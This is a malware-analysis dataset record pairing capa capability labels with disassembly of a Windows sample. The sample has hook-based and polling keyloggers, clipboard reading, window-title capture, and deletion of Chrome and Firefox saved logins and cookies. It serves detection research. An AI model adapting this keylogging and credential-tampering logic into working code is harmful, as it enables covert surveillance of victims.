joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a179
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b8ec
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a1ca
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041bc5e
mov ecx, esi
call fcn.0040b164
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a27d
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a210
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a22d
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x475158
push eax
call fcn.0040b8ec
cmp byte [0x475139], 0
jne 0x40a25b
xor eax, eax
push eax
push eax
push 0x4750f0
push 0x40a273
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a2b8
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x472b24], esi
cmp dword [esi], edi
jne 0x40a333
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40a2a4
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a333
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041bb8e
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f08
call fcn.00402093
call fcn.0041b4ef
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a361
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a35f
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a333
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a3e0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
sub esp, 0x148
push ebx
push ebp
push esi
push edi
push 0x100
lea eax, [esp + 0x5c]
mov esi, ecx
push 0
push eax
mov dword [esp + 0x1c], esi
call fcn.00436e90
add esp, 0xc
lea edi, [esp + 0x1a]
xor eax, eax
mov word [esp + 0x18], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov ebp, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
lea ebx, [esi + 0x54]
mov esi, dword [sym.imp.USER32.dll_ToUnicodeEx]
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0x40a4d6
cmp dword [0x476b18], 0
je 0x40a4d0
xor eax, eax
lea edi, [esp + 0x3a]
push 7
mov word [esp + 0x3c], ax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0043f809
push 0x100
xor ebx, ebx
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00436e90
add esp, 0x14
lea eax, [esp + 0x18]
push ebp
push ebx
push 0x10
push eax
lea eax, [esp + 0x68]
push eax
push dword [0x476b1c]
push dword [0x476b18]
call esi
mov dword [0x476b18], ebx
lea eax, [esp + 0x38]
push eax
jmp 0x40a509
lea eax, [esp + 0x18]
jmp 0x40a4cd
push 5
pop ecx
mov esi, ebx
mov edi, 0x476b18
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
push dword [ebx]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x40a4e6
push 0x466468
mov ecx, dword [esp + 0x160]
call fcn.0040417e
mov eax, dword [esp + 0x15c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret 4

Function at 0x40a675
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4751a0]
or eax, dword [0x4751a4]
push ebx
push esi
push edi
mov esi, ecx
je 0x40a722
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x475158
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a6f6
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x4751a4]
jb 0x40a6ed
ja 0x40a6d2
cmp eax, dword [0x4751a0]
jb 0x40a6ed
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a6e2
mov ecx, esi
call fcn.0040b0dc
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a6f9
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a690
cmp byte [esi + 0x49], bl
jne 0x40a722
cmp dword [0x47513c], 1
jne 0x40a722
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.0040905c
mov ecx, esi
call fcn.0040a179
pop edi
pop esi
pop ebx
ret
Function at 0x40a726
Capabilities:
Check if file exists
Create directory
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x460
push ebx
push ebp
mov ebx, ecx
push esi
push edi
lea ebp, [ebx + 4]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, ebx
call fcn.0040a675
mov edx, 0x466468
mov ecx, ebp
call fcn.004077b7
test al, al
je 0x40a92d
mov ecx, 0x475170
call fcn.00406b28
test al, al
jne 0x40a782
push 0
mov ecx, 0x475170
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea edi, [ebx + 0x68]
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 2
je 0x40a7aa
push 0x80
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
jne 0x40a7ee
push 1
mov ecx, edi
call fcn.00401f04
push eax
mov ecx, ebp
call fcn.0040247c
mov esi, eax
mov ecx, ebp
add esi, esi
call fcn.00401f04
mov edx, esi
mov ecx, eax
call fcn.0041c3f1
pop ecx
pop ecx
jmp 0x40a8f9
lea ecx, [esp + 0x10]
call fcn.004020df
mov ecx, 0x475338
call fcn.0040247c
push eax
mov ecx, 0x475338
call fcn.00401fab
push eax
lea ecx, [esp + 0x78]
call fcn.00406cb7
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40a885
lea ecx, [esp + 0x28]
call fcn.004020df
mov ecx, edi
call fcn.00401f04
lea edx, [esp + 0x28]
mov ecx, eax
call fcn.0041c485
test al, al
je 0x40a87c
lea ecx, [esp + 0x28]
call fcn.0040247c
push eax
lea ecx, [esp + 0x2c]
call fcn.00401fab
push eax
lea eax, [esp + 0x48]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x28]
call fcn.00401fd8
mov ecx, ebp
call fcn.0040247c
add eax, eax
mov ecx, ebp
push eax
call fcn.00401f04
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00403376
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.0040247c
push eax
lea ecx, [esp + 0x14]
call fcn.00401fab
push eax
lea eax, [esp + 0x60]
push eax
lea ecx, [esp + 0x7c]
call fcn.00406dd8
mov ecx, edi
call fcn.00401f04
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.0041c4f2
lea ecx, [esp + 0x58]
call fcn.00401fd8
lea ecx, [esp + 0x10]
call fcn.00401fd8
push 0x466468
mov ecx, ebp
call fcn.00409057
push 0x13
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
cmp byte [eax], 0
je 0x40a92d
push 6
mov ecx, edi
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp byte [ebx + 0x49], 0
jne 0x40a73b
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40acd6
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x74
push ebx
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x49], 0
jne 0x40acf4
cmp byte [edi + 0x4a], 0
je 0x40aee5
mov eax, dword fs:[0x2c]
mov ecx, dword [eax]
mov eax, dword [0x476cf0]
cmp eax, dword [ecx + 4]
jle 0x40ad3e
push 0x476cf0
call fcn.004343e6
cmp dword [0x476cf0], 0xffffffff
pop ecx
jne 0x40ad3e
mov ecx, 0x476cf4
call fcn.00401f86
push 0x457fe0
call fcn.00434770
mov dword [esp], 0x476cf0
call fcn.004343a7
pop ecx
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
push 0
lea ecx, [esi + 1]
push ecx
lea ecx, [esp + 0x28]
call fcn.0040b904
test esi, esi
je 0x40ae13
lea ecx, [esp + 0x20]
call fcn.0040247c
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov edx, 0x476cf4
lea ecx, [esp + 0x20]
call fcn.0040b9cc
test al, al
jne 0x40ae13
lea eax, [esp + 0x20]
mov ecx, 0x476cf4
push eax
call fcn.0040b8ec
lea ecx, [esp + 0x20]
call fcn.0040247c
dec eax
lea ecx, [esp + 0x20]
push eax
call fcn.00409044
sub esp, 0x18
lea eax, [esp + 0x38]
cmp byte [0x47513b], 0
je 0x40ade2
mov ecx, esp
push eax
call fcn.0040905c
mov ecx, edi
call fcn.0040b164
jmp 0x40ae13
mov esi, esp
lea ecx, [esp + 0x50]
push 0x4666ec
push eax
mov edx, 0x4666f4
call fcn.0040b97c
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
mov ecx, edi
call fcn.0040a636
lea ecx, [esp + 0x38]
call fcn.00401f09
mov ecx, edi
call fcn.0040b748
call fcn.0041bae6
mov esi, 0xea60
cmp eax, esi
jb 0x40aece
mov ebx, dword [esp + 0x10]
cmp byte [edi + 0x49], 0
jne 0x40ae40
cmp byte [edi + 0x4a], 0
je 0x40aedc
call fcn.0041bae6
cmp eax, esi
jb 0x40ae5c
mov ebx, eax
push 0x3e8
mov dword [esp + 0x14], ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40ae30
push 0xa
lea eax, [esp + 0x18]
xor edx, edx
push eax
mov eax, ebx
div esi
push eax
call fcn.00441e81
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x68]
push str._minutes__r_n
push eax
call fcn.00402093
push eax
mov edx, str._r_n_User_has_been_idle_for
lea ecx, [esp + 0x58]
call fcn.004052fd
pop ecx
mov edx, eax
lea ecx, [esp + 0x3c]
call fcn.00406383
sub esp, 0x14
mov edx, eax
mov ecx, esp
call fcn.0041bc5e
mov ecx, edi
call fcn.0040a636
lea ecx, [esp + 0x38]
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
jmp 0x40ace4
lea ecx, [esp + 0x20]
call fcn.00401f09
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40aeee
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x4a], 0
jne 0x40af88
mov edi, str.Online_Keylogger_Started
mov byte [esi + 0x4a], 1
push edi
lea ecx, [ebp - 0x18]
call fcn.00402093
sub esp, 0x18
lea edx, [ebp - 0x18]
mov ecx, esp
call fcn.0041bc5e
mov ecx, esi
call fcn.0040b164
lea ecx, [ebp - 0x18]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fa4
call fcn.00402093
call fcn.0041b4ef
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor ebx, ebx
add esp, 0x30
cmp byte [esi + 0x49], bl
jne 0x40af7c
cmp dword [esi], ebx
jne 0x40af70
push ebx
push ebx
push esi
push 0x40a267
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a289
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a295
push ebx
push ebx
call edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40b70e
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40b732
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x40b732
push esi
jmp 0x40b737
push 0x466468
mov ecx, dword [esp + 0xc]
call fcn.0040417e
mov eax, dword [esp + 8]
pop esi
ret 4

Function at 0x40b8ac
Capabilities:
Delete directory
Delete file
Terminate thread

Disassembly:
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push ebx
push 0x40a27d
mov byte [esi + 0x49], bl
call dword [sym.imp.KERNEL32.dll_TerminateThread]
cmp dword [esi], ebx
je 0x40b8db
push dword [esi]
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
push ebx
push 0x40a267
mov dword [esi], ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
pop esi
pop ebx
jmp fcn.0040b869

Function at 0x40ba12
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push 0x4669b4
call fcn.0043c0da
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40ba79
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40ba6d
sub eax, 1
je 0x40ba6d
xor bl, bl
jmp 0x40ba92
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_not_found_
jmp 0x40ba83
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_StoredLogins_found__cleared__
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40baa1
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push 0x4669b4
call fcn.0043c0da
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
mov edx, eax
lea ecx, [ebp - 0x18]
call fcn.00406383
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bb08
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
je 0x40bafc
sub eax, 1
je 0x40bafc
xor bl, bl
jmp 0x40bb21
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_not_found_
jmp 0x40bb12
sub esp, 0x18
mov ecx, esp
push str._n_Chrome_Cookies_found__cleared__
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40bb30
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.004020df
lea ecx, [ebp - 0x48]
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea eax, [ebp - 0x1d0]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40bce4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40bd18
test byte [ebp - 0x1d0], 0x10
je 0x40bce4
lea eax, [ebp - 0x1a4]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40bce4
lea eax, [ebp - 0x1a4]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40bce4
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00401fe2
lea ecx, [ebp - 0x90]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bccb
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40bce4
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bbeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bd37
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40be81
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40beb5
test byte [ebp - 0x1b8], 0x10
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x40beda
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x40becf
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40bdeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x40beb7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bdd9
Function at 0x40bee9
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.004020df
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, closesocket
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.004135a6
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00401fe2
lea ecx, [ebp - 0x30]
call fcn.00401fd8
mov edx, 0x4660a4
lea ecx, [ebp - 0x18]
call fcn.00405b05
test al, al
je 0x40bf56
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
mov bl, 1
jmp 0x40bff9
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fab
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40bf3b
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00402093
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.0041bc5e
mov ecx, eax
call fcn.00401f04
mov ecx, eax
call fcn.0041c291
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401fd8
test esi, esi
je 0x40bfcf
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x40bf45
push ebx
push 0x466bf0
mov ecx, 0x475a00
call fcn.00406ae1
test eax, eax
je 0x40bffc
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40c162
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0x472b19], cl
push edi
mov dword [0x472b28], eax
test cl, cl
je 0x40c1bf
mov edi, 0x466c48
mov dword [ebp - 4], esi
mov ebx, 0x4752f0
push edi
mov ecx, ebx
call fcn.00401fab
mov edx, eax
call fcn.004134ff
pop ecx
test al, al
je 0x40c1bf
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00401fab
mov edx, eax
call fcn.00413549
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x40c1bf
xor al, al
jmp 0x40c1d1
push esi
push esi
push esi
push 0x40c00c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40c34d
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c3c1
push 0x466468
mov ecx, esi
call fcn.0040417e
jmp 0x40c497
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c466
test byte [ebp - 0x2e0], 0x10
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x40c4a7
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40c3ce
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x466468
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
